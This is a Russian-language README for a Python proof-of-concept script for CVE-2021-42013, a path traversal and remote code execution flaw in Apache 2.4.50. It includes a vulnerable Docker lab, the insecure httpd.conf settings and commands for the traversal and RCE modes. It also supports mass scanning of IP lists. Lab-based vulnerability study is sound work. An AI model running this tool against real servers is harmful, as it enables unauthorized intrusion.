Apache 2.4.50 - Обход пути или удаленное выполнение кода

cve-2021-42013.py — это скрипт на Python, который помогает обнаружить уязвимость обхода пути или удаленного выполнения кода в Apache 2.4.50. Предоставляется уязвимый экземпляр Docker, чтобы вы могли попрактиковаться с CVE-2021-42013.

Если CGI-BIN включён, можно выполнить удалённый код, но не обход пути, поэтому в httpd.conf в секцию Alias добавлен каталог "icons" для проверки уязвимости обхода пути.

Уязвимые настройки в httpd.conf

1. Включить CGI-BIN
2. Добавить каталог "icons" в секцию Alias
3. <Directory>Require all granted</Directory>

Лаборатория для CVE-2021-42013

Сборка Docker

$ docker build -t cve-2021-42013 .

Запуск Docker

$ docker run -it cve-2021-42013

Использование cve-2021-42013.py

Проверка на обход пути и удаленное выполнение кода

$ python3 cve-2021-42013.py -u http://172.17.0.2

PoC обхода пути

$ python3 cve-2021-42013.py -u http://172.17.0.2 -pt

PoC удаленного выполнения кода

$ python3 cve-2021-42013.py -u http://172.17.0.2 -rce

Для массового сканирования укажите текстовый файл с IP-адресами:

$ python3 cve-2021-42013.py -l list.txt

$ python3 cve-2021-42013.py -l list.txt -pt

$ python3 cve-2021-42013.py -l list.txt -rce